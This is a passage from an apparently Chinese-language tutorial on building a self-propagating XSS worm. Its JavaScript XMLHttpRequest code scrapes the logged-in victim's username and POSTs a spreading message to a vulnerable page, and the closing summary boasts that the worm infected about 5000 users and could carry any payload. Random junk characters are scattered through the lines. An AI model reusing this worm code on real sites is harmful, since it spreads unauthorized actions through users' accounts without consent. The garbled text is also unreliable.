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* D7 t) `) R0 |5 g. Y1 l* pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); 7 r' K- U% U f. R+ V7 J
2 ^! W; y d$ m& WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);1 C) v) B' x/ E
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- l( Q9 A. C G1 u6 z复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{# o. \; A/ v$ S d4 v% G
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方 {1 i) l3 F" Y
! K3 y+ a" g: K% Y+ s4 ?2 w/ D$ xvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.7 u/ S4 B% B6 z! i
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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# @$ R3 D g6 U. f) Avar post="wd="+wd;+ m2 W/ \/ _) d8 ~3 F
3 J g* n& k$ D3 nxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); * d( z. n6 i: b9 @, a
! m- Q2 ^6 |6 y" Z( VxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");1 V+ f" ~& |" l. X
( A2 y8 c6 v' kxmlHttpReq.send(post); //把传播的信息 POST出去.
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}
5 [4 G8 g1 v) t4 Y. X复制代码-----------------------------------------------------总结-------------------------------------------------------------------5 _( \3 b+ t6 l" Z; }5 G {
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
) J, ]0 p9 b9 c蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
, e5 L! s1 _# z8 l8 P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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( e# T$ h+ I* ?( q# K- j本文引用文档资料:8 W( P" p% K+ q
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
5 o5 S3 ? a, J& a; O& dOther XmlHttpRequest tricks (Amit Klein, January 2003)1 D# T! o' z3 s9 ^* o' R$ s
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
3 K' Q* _! Z3 phttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
9 S7 ^( T, y T7 X1 [: J空虚浪子心BLOG http://www.inbreak.net9 [1 P4 w- K K$ l. m
Xeye Team http://xeye.us/
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